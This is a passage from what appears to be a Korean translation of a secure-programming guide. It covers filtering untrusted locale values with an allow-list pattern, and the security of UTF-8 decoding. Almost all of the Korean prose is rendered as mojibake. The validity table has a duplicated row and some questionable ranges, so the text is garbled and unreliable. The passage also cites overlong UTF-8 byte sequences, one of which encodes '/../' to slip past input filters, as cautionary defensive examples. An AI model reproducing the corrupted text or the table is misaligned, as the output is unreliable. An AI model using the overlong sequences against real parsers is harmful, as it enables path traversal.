¸ð¸¥´Ù. ÀϹÝÀûÀÎ °ªÀº ``C" (C ·ÎÄÉÀÏ), ``EN" (¿µ¾î), ``FR_fr" ( ÇÁ¶û½º ¿µ¿ª±ÇÀÇ ÇÁ¶û½º¾î) ¸¦ Æ÷ÇÔÇÑ´Ù. ¶ÇÇÑ ¸¹Àº »ç¶÷µéÀÌ Ç¥ÁØÀÌ ¾Æ´Ñ À̸§À» »ç¿ëÇϰí Àִµ¥ ÀÌ´Â ÀÌ ¹®Á¦¿¡ ´ëóÇϱâ À§ÇØ ``alias" ½Ã½ºÅÛÀ» °³¹ßÇϱâ À§ÇØ ÇÁ·Î±×·¥ÀÌ °¡Á³´ø À̸§ÀÌ´Ù (GNU gettext ¿Í X11 °æ¿ì °¢°¢ /usr/share/locale/locale.alises ¿Í /usr/lib/X11/locale/locale.aliases ¸¦ º¸¶ó); À̵éÀº º¸Åë Çã¿ëµÇ¾î¾ß ÇÑ´Ù. gettext() °°Àº ¶óÀ̺귯¸®´Â ¸ðµç ÀÌ·¯ÇÑ º¯ÇüÀ» Çã¿ëÇØ¾ß ÇÏ¸ç °¡´ÉÇÑ ÀûÀýÇÑ °ªÀ» ã¾Æ¾ß ÇÑ´Ù. ´õ¿í ÀÚ¼¼ÇÑ Á¤º¸´Â FSF [1999] ¸¦ ÂüÁ¶ÇÏ´Â °ÍÀÌ ÁÁ´Ù. ±×·¯³ª ÇÊ¿äÄ¡ ¾ÊÀº ¹®ÀÚ, ƯÈ÷ (½Å·ÚÇÒ ¼ö ÀÖ´Â µð·ºÅ丮¿¡¼­ ¹þ¾î³¯ ¼ö ÀÖ°Ô ÇÏ´Â) ``/" °ú (»óÀ§ µð·ºÅ丮·Î À̵¿ÇÒ ¼ö ÀÖ°Ô ÇÏ´Â) ``.." ¹®ÀÚ´Â ÇÊÅͰ¡ Çã¿ëÇÏÁö ¾Ê¾Æ¾ß ÇÑ´Ù. NLSPATH ¿¡¼­ ´Ù¸¥ À§ÇèÇÑ ¹®ÀÚ´Â (´ëü¸¦ ³ªÅ¸³»´Â) ``%" °ú (µð·ºÅ丮 ±¸ºÐÀÚÀÎ) ``:" ÀÌ´Ù; ´Ù¸¥ ¸Ó½Å¿¡ ´ëÇÑ ¹®¼­¿¡¼­´Â ¾î¶² ±¸ÇöÀº ´Ù¸¥ °ªÀ» À§ÇØ À̵éÀ» »ç¿ëÇÒ ¼ö ÀÖ´Ù°í Á¦¾ÈÇÏÁö¸¸ À̵éÀ» ±ÝÁöÇÏ´Â °ÍÀÌ °¡Àå ¾ÈÀüÇÑ °ÍÀÌ´Ù.


4.7.4. ÃÖÁ¾ °á°ú

¿ä¾àÇϸé ÀúÀÚ´Â ½Å·ÚµÈ »ç¿ëÀÚ°¡ °ªÀ» Á¦°øÇÏÁö ¾Êµµ·Ï ÇÑ´Ù¸é NLSPATH ¸¦ ´Ü¼øÈ÷ Áö¿ì°Å³ª Àç¼³Á¤Çϵµ·Ï ±ÇÇÑ´Ù. HTTP ¿¡¼­ Accept-Language heading, ·ÎÄÉÀÏÀ» ÁöÁ¤ÇÏ´Â Æû °ª ¹× LANGUAGE, LANG, ¿¹Àü LINGUAS, LC_ALL °ú ´Ù¸¥ LC_* °ª¿¡ ´ëÇØ null (empty) °ªÀ» Çã¿ëÇϰųª ¶Ç´Â ´ÙÀ½ÀÇ Á¤±Ô Ç¥Çö½Ä°ú ÀüºÎ ÀÏÄ¡ÇÏ´Â °ªµé¸¸À» Çã¿ëÇϱâ À§ÇØ ½Å·ÚµÇÁö ¾ÊÀº »ç¿ëÀڷκÎÅÍÀÇ ·ÎÄÉÀÏÀ» ÇÊÅ͸µÇضó:

 [A-Za-z][A-Za-z0-9_,+@\-\.]*

ÀúÀÚ´Â ÀÌ ÆÐÅϰú ÀÏÄ¡ÇÏÁö ¾Ê´Â ¾î¶°ÇÑ ÇÕ¹ýÀûÀÎ ·ÎÄÉÀϵµ ¹ß°ßÇÏÁö ¸øÇßÁö¸¸, ÀÌ ÆÐÅÏÀº ·ÎÄÉÀÏ °ø°Ý¿¡ ´ëÇØ¼­ º¸È£ÇÏ´Â °Íó·³ º¸ÀδÙ. ¹°·Ð ¿äûµÈ ·ÎÄÉÀÏ¿¡¼­ ¾òÀ» ¼ö ÀÖ´Â ¸Þ½ÃÁö°¡ ÀÖ´Ù°í º¸ÁõÇÒ ¼ö´Â ¾øÁö¸¸ ±×·¯ÇÑ °æ¿ì ÀÌ·± ·çƾµéÀº µðÆúÆ® ¸Þ½ÃÁö (º¸Åë ¿µ¾î)·Î µ¹¾Æ°¥ °ÍÀ̸ç Àû¾îµµ À̰ÍÀÌ º¸¾È °ü·Ã ¹®Á¦°¡ µÇÁö´Â ¾Ê´Â´Ù.

¹°·Ð ¾ð¾î´Â ¼º¹® (written) ½Éº¼À» ³ªÅ¸³»´Â Ç¥ÁØÀûÀÎ ¹æ½ÄÀ¸·Î Áö¿øµÇ¾î¾ß Çϸç ÀÌ´Â ¹®ÀÚ ÀÎÄÚµù ³íÀÇ·Î À̲ö´Ù.


4.8. ¹®ÀÚ ÀÎÄÚµù

4.8.1. ¹®ÀÚ ÀÎÄÚµù ¼Ò°³

¹Ì±¹ÀεéÀº ¿À·§µ¿¾È ¾Æ½ºÅ° ¹®ÀÚ¼ÂÀ» ÀÌ¿ëÇÏ¿© ÅØ½ºÆ®¸¦ ¼­·Î ±³È¯Çß´Ù; º»·¡ ¹Ì±¹ÀÇ ¸ðµç ½Ã½ºÅÛµéÀÌ ¾Æ½ºÅ°¸¦ Áö¿øÇϱ⠶§¹®¿¡ ¿µ¾î ÅØ½ºÆ®¸¦ ¼Õ½±°Ô ±³È¯ÇÒ ¼ö ÀÖ´Ù. ºÒÇàÈ÷µµ ¾Æ½ºÅ°´Â °ÅÀÇ ¸ðµç ´Ù¸¥ ¾ð¾îÀÇ ¹®ÀÚ¸¦ ´Ù·ç±â¿¡´Â ºÎÀûÀýÇÏ´Ù. ¿À·§µ¿¾È ¿©·¯ ³ª¶óµéÀº ´Ù¸¥ ¾ð¾î·Î ÅØ½ºÆ®¸¦ ±³È¯ÇÏ´Â ¿©·¯°¡Áö ±â¹ýÀ» äÅÃÇØ¿ÔÀ¸¸ç ÀÌ´Â ´õ¿í ´õ »óÈ£ ¿¬°áµÈ ¼¼»ó¿¡¼­ µ¥ÀÌŸ¸¦ ±³È¯ÇÏ´Â °ÍÀ» ¾î·Æ°Ô ¸¸µé°í ÀÖ´Ù.

´õ¿í ÃÖ±Ù¿¡ ISO ´Â ISO 10646, Universal Multiple-Octet Coded Character Set (UCS) À» °³¹ßÇߴµ¥ UCS ´Â ¼¼»óÀÇ ¸ðµç ¹®ÀÚ °¢°¢¿¡ ´ëÇØ À¯ÀÏÇÑ 31 ºñÆ® °ªÀ» Á¤ÀÇÇÏ´Â ÄÚµåÈ­µÈ ¹®ÀÚ¼ÂÀÌ´Ù. UCS ÀÇ Ã¹ 65536 ¹®ÀÚ (µû¶ó¼­ 16 ºñÆ®¿¡ ²À¸Â´Ù) ´Â Basic Multilingual Plane (BMP) À̶ó°í ĪÇϸç BMP ´Â °ÅÀÇ ¿À´Ã³¯ ¸ðµç ±¸¾î¸¦ ´Ù·ç·Á°í ÇÑ´Ù. Unicode Æ÷·³Àº À¯´ÏÄÚµå Ç¥ÁØÀ» °³¹ßÇϰí Àִµ¥ ÀÌ´Â UCS ¿¡ ÁßÁ¡À» µÎ¾î »óÈ£ ÀÌ¿ëÀ» µ½±â À§ÇØ ¾à°£ÀÇ Ãß°¡ÀûÀÎ ÇÕÀǸ¦ Ãß°¡ÇÑ´Ù. ¿ª»çÀûÀ¸·Î À¯´ÏÄÚµå¿Í ISO 10646 Àº °æÀï ±×·ìÀÌ °³¹ßÇßÁö¸¸ °í¸¿°Ôµµ µÎ ±×·ìÀº °øµ¿ ÀÛ¾÷ÀÇ Çʿ伺À» ±ú´Þ¾ÒÀ¸¸ç ÇöÀç ¼­·Î Çù·ÂÇÏ¸ç °³¹ßÇϰí ÀÖ´Ù.

±¹Á¦È­µÈ ¹®ÀÚ¸¦ ´Ù·ç´Â »õ·Î¿î ¼ÒÇÁÆ®¿þ¾î¸¦ ÀÛ¼ºÇϰí ÀÖ´Ù¸é ±¹Á¦ÀûÀÎ ¹®ÀÚ¸¦ ´Ù·ç±â À§ÇÑ ±âÃÊ·Î ISO 10646/À¯´ÏÄڵ带 »ç¿ëÇØ¾ß ÇÑ´Ù. ±×·¯³ª ´Ù¾çÇÑ ¿¾³¯ (¾ð¾î¿¡ ƯÁ¤ÀûÀÎ) ¹®ÀÚ¼ÂÀ¸·Î ¾²¿©Áø ¿¾³¯ ¹®¼­¸¦ ó¸®ÇÒ Çʿ䰡 ÀÖÀ» ¼ö Àִµ¥ ÀÌ °æ¿ì¿¡ ÀÖ¾î ½Å·ÚµÇÁö ¾ÊÀº »ç¿ëÀÚ°¡ ´Ù¸¥ ¹®¼­ÀÇ ¹®Àڼ ¼³Á¤À» Á¦¾îÇÒ ¼ö ¾øµµ·Ï º¸ÁõÇÒ Çʿ䰡 ÀÖ´Ù (ÀÌ´Â ¹®¼­ÀÇ ÇØ¼®¿¡ »ó´çÈ÷ ¿µÇâÀ» ¹ÌÄ¥ ¼ö Àֱ⠶§¹®ÀÌ´Ù).


4.8.2. UTF-8 ¼Ò°³

´ëºÎºÐÀÇ ¼ÒÇÁÆ®¿þ¾î´Â 16 ºñÆ® ¶Ç´Â 32 ºñÆ® ¹®ÀÚ¸¦ ´Ù·çµµ·Ï ¼³°èµÇÁö ¾Ê¾Ò´Âµ¥ ÀÌÁ¦ºÎÅÍ 8 ºñÆ® ÀÌ»óÀÇ Æ÷°ýÀûÀÎ ¹®ÀÚ¼ÂÀ» »ý¼ºÇÏ´Â °ÍÀÌ ÇÊ¿äÇÏ°Ô µÇ¾ú´Ù. µû¶ó¼­ ±âÁ¸ ÇÁ·Î±×·¥ ¹× ¶óÀ̺귯¸®°¡ ´õ¿í ½±°Ô ´Ù·ê ¼ö ÀÖ´Â Æ÷¸ËÀ¸·Î ÀÌ·¯ÇÑ ÀáÀçÀûÀ¸·Î ±¹Á¦ÀûÀÎ ¹®ÀÚ¸¦ ÀÎÄÚµåÇÒ ¼ö ÀÖµµ·Ï UTF-8 À̶ó´Â ƯÁ¤ Æ÷¸ËÀÌ °³¹ßµÇ¾ú´Ù. UTF-8 Àº ´Ù¸¥ °÷Áß¿¡¼­ IEFT-RFC 2279 ¿¡ Á¤ÀǵǾî ÀÖÀ¸¸ç ÀÌ ¶§¹®¿¡ ÀÚÀ¯·ÎÀÌ ÀÐÇôÁö°í »ç¿ëµÉ ¼ö ÀÖ´Â Àß Á¤ÀÇµÈ Ç¥ÁØÀÌ´Ù. UTF-8 Àº °¡º¯ ³Êºñ (variable-width) ÀÎÄÚµùÀ¸·Î 0 ¿¡¼­ 0x7f (127) ±îÁö ¹øÈ£°¡ ¸Å°ÜÁø ¹®ÀÚµé ÀÚ½ÅÀ» ½Ì±Û ¹ÙÀÌÆ®·Î ÀÎÄÚµåÇÏ¸ç ¹Ý¸é ´õ¿í Å« °ªÀ» °®´Â ¹®ÀÚµéÀº ±× °ª¿¡ µû¶ó Á¤º¸°¡ 2 ¿¡¼­ 6 ¹ÙÀÌÆ®·Î ÀÎÄÚµåµÈ´Ù. ÀÎÄÚµùÀº ƯÈ÷ ´ÙÀ½ÀÇ Á¤È®ÇÑ Æ¯¼ºÀ» °®µµ·Ï ¼³°èµÇ¾î¿Ô´Ù (ÀÌ Á¤º¸ÀÇ Ãâó´Â RFC ¹× ¸®´ª½º utf-8 ¸ÇÆäÀÌÁöÀÌ´Ù):

  • °íÀüÀûÀÎ ¹Ì±¹ ¾Æ½ºÅ° ¹®ÀÚ (0 ¿¡¼­ 0x7f) ´Â ÀÚ½ÅÀ¸·Î ÀÎÄÚµåµÇ´Âµ¥ µû¶ó¼­ ´ÜÁö 7 ºñÆ® ¾Æ½ºÅ° ¹®ÀÚµéÀ» Æ÷ÇÔÇÑ ÆÄÀÏ ¹× ¹®ÀÚ¿­Àº ¾Æ½ºÅ°¿Í UTF-8 ÇÏ¿¡¼­ µ¿ÀÏÇÑ ÀÎÄÚµùÀ» °®´Â´Ù. ÀÌ´Â ¸¹Àº ±âÁ¸ ¹Ì±¹ ÇÁ·Î±×·¥°ú µ¥ÀÌŸ ÆÄÀÏ¿¡ ´ëÇØ ¿ªÇà ȣȯ¼ºÀ» Á¦°øÇϱ⠶§¹®¿¡ ³î¶ó¿î °ÍÀÌ´Ù.

  • 0x7f ¸¦ ÃʰúÇÏ´Â ¸ðµç UCS ¹®ÀÚ´Â 0x80 ¿¡¼­ 0xfd ÀÇ ¹üÀ§³»ÀÇ ¹ÙÀÌÆ®·Î¸¸ ±¸¼ºµÇ´Â ¸ÖƼ¹ÙÀÌÆ® ½ÃÄö½º·Î ÀÎÄÚµåµÈ´Ù. ÀÌ´Â ¾î¶°ÇÑ ¾Æ½ºÅ° ¹ÙÀÌÆ®µµ ´Ù¸¥ ¹®ÀÚÀÇ ÀϺκÐÀ¸·Î ³ªÅ¸³¯ ¼ö ¾øÀ½À» ÀǹÌÇÑ´Ù. ´Ù¸¥ ¸¹Àº ÀÎÄÚµùÀº ÇÁ·Î±×·¥ÀÇ ½ÇÆÐ¸¦ ¾ß±âÇÏ´Â ÀÓº£µðµå NIL °ú °°Àº ¹®ÀÚ¸¦ Çã¿ëÇÑ´Ù.

  • UTF-8 ¹× 2 ¹ÙÀÌÆ® ¶Ç´Â 4 ¹ÙÀÌÆ® °íÁ¤ ÆøÀ» °®´Â ¹®ÀÚ Ç¥Çö»çÀÌ¿¡ º¯È¯ÀÌ ½±´Ù. (À̵éÀº °¢°¢ UCS-2 ¹× UCS-4 ·Î ºÒ¸°´Ù)

  • UCS-4 ¹®ÀÚ¿­ÀÇ »çÀüÇÐÀû Á¤·Ä ¼ø¼­°¡ À¯ÁöµÇ¸ç Boyer-Moore ÀÇ fast °Ë»ö ¾Ë°í¸®µëÀÌ UTF-8 µ¥ÀÌŸ¿¡ Á÷Á¢ÀûÀ¸·Î »ç¿ëµÉ ¼ö ÀÖ´Ù.

  • ¸ðµç °¡´ÉÇÑ 2^31 UCS Äڵ尡 UTF-8 À» »ç¿ëÇØ¼­ ÀÎÄÚµåµÉ ¼ö ÀÖ´Ù.

  • ÇϳªÀÇ ¾Æ½ºÅ°°¡ ¾Æ´Ñ UCS ¹®ÀÚ¸¦ Ç¥ÇöÇÏ´Â ¸ÖƼ¹ÙÀÌÆ® ½ÃÄö½ºÀÇ Ã¹¹øÂ° ¹ÙÀÌÆ®´Â ´Ã 0xc0 °ú 0xfd »çÀÌÀÇ ¹üÀ§¿¡ ÀÖÀ¸¸ç ÀÌ·¯ÇÑ ¸ÖƼ¹ÙÀÌÆ® ½ÃÄö½ºÀÇ ±æÀ̸¦ °¡¸®Å²´Ù. ¸ÖƼ¹ÙÀÌÆ® ½ÃÄö½º³»¿¡¼­ ¸ðµç µÚÀÇ ¹ÙÀÌÆ®´Â 0x80 °ú 0xbf »çÀÌÀÇ ¹üÀ§¿¡ ÀÖ´Ù. ÀÌ´Â ½¬¿î À絿±â¸¦ Çã¿ëÇϴµ¥ ÇÑ ¹ÙÀÌÆ®¸¦ »ý·«ÇÏ´Â °æ¿ì ``´ÙÀ½" ¹®ÀÚ·Î °Ç³Ê¶Ù´Â °ÍÀº ½¬¿ì¸ç ¶ÇÇÑ ``´ÙÀ½" ¶Ç´Â ``ÀÌÀü" ¹®ÀÚ·Î À̵¿ÇÏ´Â °ÍÀº ´Ã ½±´Ù.

¿ä¾àÇϸé UTF-8 º¯È¯ Æ÷¸ËÀº ´Ù¸¥ Á¤È®ÇÑ Æ¯¼ºÀ» °®À» »Ó ¾Æ´Ï¶ó ¸ðµç ¼¼°èÀÇ ¾ð¾î¸¦ Áö¿øÇÒ ¼ö ÀÖ°í Áö±ÝÀ¸·Î¼­´Â ¹Ì±¹ ¾Æ½ºÅ° ÆÄÀϰú ¿ªÇà ȣȯ¼ºÀ» °®°í Àֱ⠶§¹®¿¡ ±¹Á¦È­ ÅØ½ºÆ® Á¤º¸¸¦ ±³È¯Çϴµ¥ ÀÖ¾î °¡Àå À¯·ÂÇÑ ¹æ¹ýÀÌ µÇ°í ÀÖ´Ù. ¸¹Àº °æ¿ì¿¡ ÀÖ¾î ÀúÀÚ´Â À̸¦ »ç¿ëÇϱæ ÃßõÇÏ¸ç Æ¯È÷ ÅØ½ºÆ® ÆÄÀϳ»¿¡¼­ µ¥ÀÌŸ¸¦ Á¤·ÄÇÒ ¶§´Â À̸¦ »ç¿ëÇÏ±æ ¹Ù¶õ´Ù.


4.8.3. UTF-8 º¸¾È ÀïÁ¡

UTF-8 À» ¾ð±ÞÇÏ´Â ÀÌÀ¯´Â ¾î¶² ¹ÙÀÌÆ® ½ÃÄö½º°¡ ºñÇÕ¹ýÀûÀÎ UTF-8 À̸ç À̰ÍÀÌ ¾Ç¿ëµÉ ¼ö ÀÖ´Â º¸¾È ±¸¸ÛÀÏ ¼öµµ Àֱ⠶§¹®ÀÌ´Ù. UTF-8 ÀÎÄÚ´õ´Â ``°¡´ÉÇÑ °¡Àå ªÀº" ÀÎÄÚµùÀ» »ç¿ëÇÑ´Ù°í ¾Ë·ÁÁ® ÀÖÁö¸¸ ¼øÁøÇÑ µðÄÚ´õ°¡ ÇÊ¿äÀÌ»óÀ¸·Î ±ä ÀÎÄÚµùÀ» ¹Þ¾ÆµéÀÏ ¼öµµ ÀÖ´Ù. Á¤¸»·Î ´õ¿í ÃʱâÀÇ Ç¥ÁØÀº µðÄÚ´õ°¡ ``non-shortest form" ÀÎÄÚµùÀ» ¹Þ¾ÆµéÀ̵µ·Ï Çã¿ëÇß´Ù. ¿©±â¼­ÀÇ ¹®Á¦´Â À̰ÍÀÌ ÀáÀçÀûÀ¸·Î À§ÇèÇÑ ÀÔ·ÂÀÌ ´Ù¼öÀÇ ¹æ½ÄÀ¸·Î Ç¥ÇöµÉ ¼ö ÀÖÀ¸¸ç µû¶ó¼­ À§ÇèÇÑ ÀÔ·ÂÀ» °Ë»çÇÏ´Â º¸¾È ·çƾÀ» ¹«·ÂÈ­½Ãų ¼öµµ ÀÖ´Ù´Â °ÍÀ» ÀǹÌÇÑ´Ù´Â °ÍÀÌ´Ù. RFC ´Â ´ÙÀ½°ú °°ÀÌ ¹®Á¦Á¡À» ±â¼úÇϰí ÀÖ´Ù:

UTF-8 À» ±¸ÇöÇÑ »ç¶÷Àº ºñÇÕ¹ýÀûÀÎ UTF-8 ½ÃÄö½º ó¸® ¹æ¹ýÀÇ º¸¾È Ãø¸éÀ» °í·ÁÇÒ Çʿ䰡 ÀÖ´Ù. ¾î¶² °æ¿ì¿¡ ÀÖ¾î °ø°ÝÀÚ°¡ UTF-8 ÆÄ¼­¿¡ UTF-8 ±¸¹®¿¡¼­ Çã¿ëµÇÁö ¾Ê´Â ¿ÁÅÝ (ÆÈÁß¼ö, octet) ½ÃÄö½º¸¦ º¸³¿À¸·Î½á Á¶½É¼º¾ø´Â ÆÄ¼­¸¦ ¾Ç¿ëÇÒ ¼ö ÀÖÀ» °ÍÀ̶ó°í »ó»óÇÒ ¼ö ÀÖ´Ù.

ƯÈ÷ ¹Ì¹¦ÇÑ ÇüÅÂÀÇ ÀÌ °ø°ÝÀÌ UTF-8 ·Î ÀÎÄÚµåµÈ ÀÔ·Â Æû¿¡ ´ëÇØ º¸¾È¿¡ Áß´ëÇÑ À¯È¿¼º °Ë»ç¸¦ ¼öÇàÇÏÁö¸¸ ¾î¶² ºñÇÕ¹ýÀûÀÎ ¿ÁÅÝ ½ÃÄö½º¸¦ ¹®ÀÚ·Î ÇØ¼®ÇÏ´Â ÆÄ¼­¿¡ ´ëÇØ ¼öÇàµÉ ¼ö ÀÖ´Ù. ¿¹¸¦ µé¾î ½Ì±Û ¿ÁÅÝ ½ÃÄö½º 00 À¸·Î ÀÎÄÚµåµÉ ¶§´Â NUL ¹®ÀÚ¸¦ ±ÝÁöÇÏÁö¸¸ C0 80 (ÇÊ¿äÀÌ»óÀ¸·Î ±æ±â¶§¹®¿¡ ºñÇÕ¹ýÀûÀÌ´Ù) ÀÇ ºñÇÕ¹ýÀûÀÎ µÎ ¿ÁÅÝ ½ÃÄö½º´Â Çã¿ëÇØ¼­ À̸¦ NUL ¹®ÀÚ (00) À¸·Î ÇØ¼®ÇÒ ¼öµµ ÀÖ´Ù. ´Ù¸¥ ¿¹´Â ¿ÁÅÝ ½ÃÄö½º 2F 2E 2E 2F ("/../") ¸¦ ±ÝÁöÇÏÁö¸¸ ¾ÆÁ÷±îÁö´Â ºñÇÕ¹ýÀûÀÎ ¿ÁÅÝ ½ÃÄö½º 2F C0 AE 2E 2F ¸¦ Çã¿ëÇÏ´Â ÆÄ¼­ÀÏ °ÍÀÌ´Ù.

ÀÌ¿¡ ´ëÇÑ ´õ¿í ÀÚ¼¼ÇÑ ³íÀÇ´Â http://www.cl.cam.ac.uk/~mgk25/unicode.html ¿¡¼­ Marjus Kuhn ÀÇ UTF-8 and Unicode FAQ for Unis/Linux ·ÎºÎÅÍ ¾òÀ» ¼ö ÀÖ´Ù.


4.8.4. UTF-8 ÇÕ¹ýÀûÀÎ °ª

µû¶ó¼­ UTF-8 ÀÔ·ÂÀ» ¹Þ¾ÆµéÀÏ ¶§ À¯È¿ÇÑ UTF-8 ÀÎÁö¸¦ °Ë»çÇÒ Çʿ䰡 ÀÖ´Ù. Ç¥ 4-1 Àº ¸ðµç ÇÕ¹ýÀûÀÎ UTF-8 ½ÃÄö½º ¸ñ·ÏÀÌ´Ù; ÀÌ Ç¥¿Í ÀÏÄ¡ÇÏÁö ¾Ê´Â ¸ðµç ¹®ÀÚ ½ÃÄö½º´Â ÇÕ¹ýÀûÀÎ UTF-8 ½ÃÄö½º°¡ ¾Æ´Ï´Ù. Ç¥¿¡¼­ ù¹øÂ° ¿­Àº UTF-8 ·Î ÀÎÄÚµåµÇ´Â ´Ù¾çÇÑ ¹®ÀÚ°ªµéÀÌ´Ù. µÎ¹øÂ° ¿­Àº ÀÌ ¹®ÀÚµéÀÌ ¾î¶»°Ô ¹ÙÀ̳ʸ® °ªÀ¸·Î ÀÎÄÚµåµÇ´Â Áö¸¦ º¸¿©ÁØ´Ù; ``x" ´Â µ¥ÀÌŸ (0 ¶Ç´Â 1) °¡ ³õÀÌ´Â °÷À» ³ªÅ¸³½´Ù. ±×·¯³ª ¸î¸î °ªµéÀº °¡´ÉÇÑ °¡Àå ªÀº ÀÎÄÚµùÀÌ ¾Æ´Ï±â ¶§¹®¿¡ Çã¿ëµÇÁö ¾Ê¾Æ¾ß ÇÑ´Ù. ¸¶Áö¸· ¿­Àº °¢ ¹ÙÀÌÆ®°¡ °¡Áú ¼ö ÀÖ´Â (16Áø¹ý) À¯È¿ÇÑ °ªÀ» ³ªÅ¸³½´Ù. µû¶ó¼­ ÇÁ·Î±×·¥Àº ¸ðµç ¹®ÀÚ°¡ ¼¼¹øÂ° ¿­ÀÇ ÆÐÅÏ ÁßÀÇ Çϳª¿Í ÀÏÄ¡ÇÏ´ÂÁö °Ë»çÇØ¾ß ÇÑ´Ù. ``-" ´Â ÇÕ¹ýÀûÀÎ °ª (Æ÷°ýÀûÀÎ ) ÀÇ ¹üÀ§¸¦ ³ªÅ¸³½´Ù. ¹°·Ð ½ÃÄö½º°¡ ÇÕ¹ýÀûÀÎ UTF-8 ½ÃÄö½º¶ó°í ÇØ¼­ À̸¦ ¼ö¿ëÇØ¾ß ÇÑ´Ù´Â °ÍÀ» ÀǹÌÇÏÁö´Â ¾ÊÀ¸¸ç (½º½º·Î ´Ù¸¥ °Ë»ç¸¦ ÇÒ Çʿ䰡 ÀÖ´Ù) ÀϹÝÀûÀ¸·Î ´Ù¸¥ °Ë»ç¸¦ Çϱâ Àü¿¡ UTF-8 ÇÕ¹ý¼º¿¡ ´ëÇØ ¸ðµç UTF-8 µ¥ÀÌŸ¸¦ °Ë»çÇØ¾ß ÇÑ´Ù.

표 4-1. ÇÕ¹ýÀûÀÎ UTF-8 ½ÃÄö½º

UCS Code (Hex)Binary UTF-8 FormatLegal UTF-8 Values (Hex)
00-7F0xxxxxxx00-7F
80-7FF110xxxxx 10xxxxxxC2-DF 80-BF
800-FFF1110xxxx 10xxxxxx 10xxxxxxE0 A0*-BF 80-BF
1000-FFFF1110xxxx 10xxxxxx 10xxxxxxE1-EF 80-BF 80-BF
10000-3FFFF11110xxx 10xxxxxx 10xxxxxx 10xxxxxxF0 90*-BF 80-BF 80-BF
40000-FFFFFF11110xxx 10xxxxxx 10xxxxxx 10xxxxxxF1-F3 80-BF 80-BF 80-BF
40000-FFFFFF11110xxx 10xxxxxx 10xxxxxx 10xxxxxxF1-F3 80-BF 80-BF 80-BF
100000-10FFFFF11110xxx 10xxxxxx 10xxxxxx 10xxxxxxF4 80-8F* 80-BF 80-BF
200000-3FFFFFF111110xx 10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxxtoo large; see below
04000000-7FFFFFFF1111110x 10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxxtoo large; see below

¾Õ¿¡¼­ ¾ð±ÞÇßµíÀÌ ¹®Àڼ¿¡ ´ëÇÑ Ç¥ÁØ¿¡´Â ISO 10646 °ú Unicode µÎ°³°¡ ÀÖÀ¸¸ç À̵éÀº ¹®ÀÚ ÁöÁ¤À» µ¿±âÈ­Çϴµ¥ µ¿ÀÇÇÏ¿´´Ù. ISO/IEC 10646 °ú IETF RFC ³»ÀÇ UTF-8 ÀÇ Á¤ÀÇ´Â Uniforum ÀÇ Unicode °¡ Áö¿øÇÏ´Â ¹üÀ§¹ÛÀÇ ¹®ÀÚµéÀ» ÀÎÄÚµåÇϱâ À§ÇØ ÇöÀç 5 ¿Í 6 ¹ÙÀÌÆ® ½ÃÄö½º¸¦ Áö¿øÇÑ´Ù. ±×·¯³ª ÀÌ °ªµéÀÌ Unicode ¹®ÀÚ¸¦ Áö¿øÇϴµ¥ »ç¿ëÇÒ ¼ö ¾øÀ¸¸ç ISO 10646 ÀÇ ÇâÈÄ ¹öÀü¿¡¼­µµ µ¿ÀÏÇÑ ÇѰ踦 °®À» °ÍÀ¸·Î »ý°¢µÈ´Ù. µû¶ó¼­ ´ëºÎºÐÀÇ ¸ñÀû¿¡ ´ëÇØ 5 ¿Í 6 ¹ÙÀÌÆ® UTF-8 ÀÎÄÚµùÀº ÇÕ¹ýÀûÀÌÁö ¾ÊÀ¸¸ç º¸Åë À̸¦ ¹ö·Á¾ß ÇÑ´Ù (Ưº°ÇÑ ¸ñÀûÀÌ ¾Æ´Ñ °æ¿ì¶ó¸é).

ÀÌ·¯ÇÑ ÀÏ·ÃÀÇ À¯È¿ÇÑ °ªµéÀ» °áÁ¤ÇÏ´Â °ÍÀº ¾î·Á¿ì¸ç »ç½Ç ÀÌ ¹®¼­ÀÇ Ãʱ⠹öÀü¿¡´Â ´Ù¼ÒÀÇ Æ²¸° ¿£Æ®¸®¸¦ °®°í ÀÖ¾ú´Ù (¾î¶² °æ¿ì¿¡ ÀÖ¾î ³Ê¹« ±ä ¹®ÀÚ¸¦ Çã¿ëÇß´Ù). ¾ð¾î °³¹ßÀÚµéÀº ¶óÀ̺귯¸®¿¡ À¯È¿ÇÑ UTF-8 °ªÀ» °Ë»çÇÏ´Â ÇÔ¼ö¸¦ Æ÷ÇÔÇØ¾ß Çϴµ¥ À̸¦ ¿Ã¹Ù¸£°Ô °Ë»çÇÏ´Â °ÍÀº ¸Å¿ì ¾î·Æ±â ¶§¹®ÀÌ´Ù.

¾î¶² °æ¿ì¿¡ À־ 16Áø¹ý ½ÃÄö½º C0 80 À» ºÎÁÖÀÇÇÏ°Ô ÀÚ¸£°í (³»ºÎÀûÀ¸·Î »ç¿ëÇϰí) ½ÍÀ» ¼öµµ ÀÖ´Ù°í ÀúÀÚ´Â ¾ð±ÞÇÑ´Ù. ÀÌ´Â Çã¿ëµÇ´Â °æ¿ì ¾Æ½ºÅ° NUL (NIL) À» ³ªÅ¸³¾ ¼ö ÀÖ´Â ³Ê¹« ±ä ½ÃÄö½ºÀÌ´Ù. C ¿Í C++ ¿¡¼­ º¸Åë ¹®ÀÚ¿­¿¡ NIL ¹®ÀÚ¸¦ Æ÷ÇÔÇÏ´Â °ÍÀº ¹®Á¦°¡ »ý±â±â ¶§¹®¿¡ NIL À» µ¥ÀÌŸ ½ºÆ®¸²ÀÇ ÀϺκÐÀ¸·Î ³ªÅ¸³»±æ ¿øÇÒ ¶§ ÀÌ ½ÃÄö½º¸¦ »ç¿ëÇØ¿Ô´Ù; ÀÚ¹ÙÁ¶Â÷µµ ÀÌ·¯ÇÑ ¿¹¸¦ »ç¿ëÇϰí ÀÖ´Ù. µ¥ÀÌŸ¸¦ ó¸®ÇÒ ¶§ C0 80 À» ³»ºÎÀûÀ¸·Î´Â ÀÚÀ¯·Ó°Ô »ç¿ëÇØ¶ó ±×·¯³ª ±â¼úÀûÀ¸·Î À̸¦ µ¥ÀÌŸ¿¡ ÀúÀåÇϱâ Àü¿¡ ´Ù½Ã 00 À¸·Î ½ÇÁ¦ÀûÀ¸·Î ÀüÈ¯ÇØ¾ß ÇÑ´Ù. Çʿ信 µû¶ó UTF-8 µ¥ÀÌŸ ½ºÆ®¸²³»ÀÇ ÀÔ·ÂÀ¸·Î C0 80 À» ºÎÁÖÀÇÇÏ°Ô ¹Þ¾ÆµéÀÏ ¼öµµ ÀÖ´Ù. ÀÌ ½ÃÄö½º´Â »óÈ£¿î¿ë¼º¿¡ µµ¿òÀ» Áֱ⠶§¹®¿¡ º¸¾È¿¡ ÇØ¸¦ 